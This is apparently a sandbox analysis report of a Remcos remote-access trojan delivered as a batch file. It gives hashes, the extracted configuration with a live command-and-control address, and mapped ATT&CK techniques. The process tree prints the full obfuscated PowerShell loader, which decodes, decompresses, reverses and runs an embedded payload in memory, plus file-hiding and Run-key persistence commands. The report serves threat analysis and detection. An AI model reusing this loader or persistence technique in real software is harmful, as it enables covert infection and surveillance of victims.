remcos | b946459b031ba8f36ffc81ce67c805dbf8761f2bfe7819944cb022f1481d4f40

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-10-2024 22:33

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General

Target

Cobro_714908746632292158322869967546175789167005896538554858756104291.bat
Size

1.6MB
MD5

ef049bc637c98aa00c35467c7a02afcb
SHA1

b2d498988a2375d988d096466faaf4faafc038ec
SHA256

7f8daa38efb7829976dc3a14dc840a4ccfd312df6e335e3b1620c6f0e9535621
SHA512

0e10f6c8cd229b4cf26657ccb5f3a41c2ab3ffc6c0606654e95dc645d1bb40799fdebf255ee0814d6a83371be78cf026d4ebaeee5ac35b49413e36ae41ecd5eb
SSDEEP

24576:c2UCeOG76RFbdt4km7EoWbKMu2HpNexVcVfpIeD47I79nwS4/pfapm40iQc4VOkp:cv7Ibb/1bKKHpNexVwzrhtfLg

Score

10^/10

remcos pqvps discovery evasion persistence rat

Malware Config

Extracted

Family

remcos

Botnet

PqVps

103.35.190.90:2405

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
LogHost.dat
keylog_flag
false
keylog_folder
LogHost
mouse_option
false
mutex
RmcVps-HIX6ZI
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4480 created 3464	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	56

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
112	attrib.exe

Executes dropped EXE 1 IoCs

pid	Process
4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Srcs = "C:\\Users\\Admin\\AppData\\Roaming\\Srcs.bat"	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4480 set thread context of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
Token: SeDebugPrivilege	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
436	InstallUtil.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 220	2708	cmd.exe	85
PID 2708 wrote to memory of 220	2708	cmd.exe	85
PID 2708 wrote to memory of 1708	2708	cmd.exe	86
PID 2708 wrote to memory of 1708	2708	cmd.exe	86
PID 2708 wrote to memory of 112	2708	cmd.exe	87
PID 2708 wrote to memory of 112	2708	cmd.exe	87
PID 2708 wrote to memory of 4480	2708	cmd.exe	88
PID 2708 wrote to memory of 4480	2708	cmd.exe	88
PID 2708 wrote to memory of 4480	2708	cmd.exe	88
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89
PID 4480 wrote to memory of 436	4480	Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje	89

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
112	attrib.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:220
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
    3⤵
    PID:1708
- - C:\Windows\system32\attrib.exe
    attrib +s +h C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:112
- - C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje
    C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje -WindowStyle hidden -command "$Dqvarshu = get-content 'C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat' | Select-Object -Last 1; $Optnhxx = [System.Convert]::FromBase64String($Dqvarshu);$Lkxze = New-Object System.IO.MemoryStream( , $Optnhxx );$Zhqhumhc = New-Object System.IO.MemoryStream;$Efwnhmiankp = New-Object System.IO.Compression.GzipStream $Lkxze, ([IO.Compression.CompressionMode]::Decompress);$Efwnhmiankp.CopyTo( $Zhqhumhc );$Efwnhmiankp.Close();$Lkxze.Close();[byte[]] $Optnhxx = $Zhqhumhc.ToArray();[Array]::Reverse($Optnhxx); $Zjiqawmtdc = [System.AppDomain]::CurrentDomain.Load($Optnhxx); $Inmzsxjtyul = $Zjiqawmtdc.EntryPoint; [System.Delegate]::CreateDelegate([Action], $Inmzsxjtyul.DeclaringType, $Inmzsxjtyul.Name).DynamicInvoke() | Out-Null"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4480
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\LogHost\LogHost.dat

Filesize
198B

MD5
265bb7e3df83ba7a9eeb9ca4e7bb2ba8

SHA1
1cebca4022d6ac6abe8e7a95283aca01f02d705a

SHA256
65ec87390b3fbfad582aaca3ad4e985905f17e48b89ea7fcd33e3ec554b67a29

SHA512
d1c653fa2f8e682103e21fb00ebc5e1f4e60c18940e9a2f9938fbdb1c998394f66217802f2a38fb7689c3b390f7fcf269d7ef79ed3b4546e7b57147754076891

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cobro_714908746632292158322869967546175789167005896538554858756104291.bat.Oje

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y25reqxx.dqk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/436-1121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/436-1134-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4480-5-0x0000000074DFE000-0x0000000074DFF000-memory.dmp

Filesize
4KB

Download
memory/4480-6-0x0000000004F00000-0x0000000004F36000-memory.dmp

Filesize
216KB

Download
memory/4480-8-0x00000000056B0000-0x0000000005CD8000-memory.dmp

Filesize
6.2MB

Download
memory/4480-7-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-10-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-9-0x00000000054E0000-0x0000000005502000-memory.dmp

Filesize
136KB

Download
memory/4480-12-0x0000000005CE0000-0x0000000005D46000-memory.dmp

Filesize
408KB

Download
memory/4480-11-0x0000000005580000-0x00000000055E6000-memory.dmp

Filesize
408KB

Download
memory/4480-18-0x0000000005D50000-0x00000000060A4000-memory.dmp

Filesize
3.3MB

Download
memory/4480-23-0x00000000064D0000-0x00000000064EE000-memory.dmp

Filesize
120KB

Download
memory/4480-24-0x0000000006500000-0x000000000654C000-memory.dmp

Filesize
304KB

Download
memory/4480-25-0x00000000074D0000-0x0000000007566000-memory.dmp

Filesize
600KB

Download
memory/4480-26-0x00000000069E0000-0x00000000069FA000-memory.dmp

Filesize
104KB

Download
memory/4480-27-0x0000000006A30000-0x0000000006A52000-memory.dmp

Filesize
136KB

Download
memory/4480-28-0x0000000007D30000-0x00000000082D4000-memory.dmp

Filesize
5.6MB

Download
memory/4480-29-0x0000000008960000-0x0000000008FDA000-memory.dmp

Filesize
6.5MB

Download
memory/4480-30-0x00000000077F0000-0x0000000007938000-memory.dmp

Filesize
1.3MB

Download
memory/4480-31-0x0000000007B20000-0x0000000007C3E000-memory.dmp

Filesize
1.1MB

Download
memory/4480-41-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-39-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-61-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-69-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-79-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-77-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-75-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-73-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-71-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-67-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-65-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-63-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-59-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-57-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-55-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-53-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-49-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-47-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-45-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-43-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-37-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-51-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-35-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-33-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-93-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-91-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-89-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-87-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-85-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-83-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-81-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-32-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-95-0x0000000007B20000-0x0000000007C38000-memory.dmp

Filesize
1.1MB

Download
memory/4480-1106-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-1107-0x0000000007C40000-0x0000000007CD8000-memory.dmp

Filesize
608KB

Download
memory/4480-1108-0x0000000005220000-0x000000000526C000-memory.dmp

Filesize
304KB

Download
memory/4480-1112-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-1113-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-1115-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download
memory/4480-1114-0x00000000082E0000-0x0000000008334000-memory.dmp

Filesize
336KB

Download
memory/4480-1120-0x0000000074DF0000-0x00000000755A0000-memory.dmp

Filesize
7.7MB

Download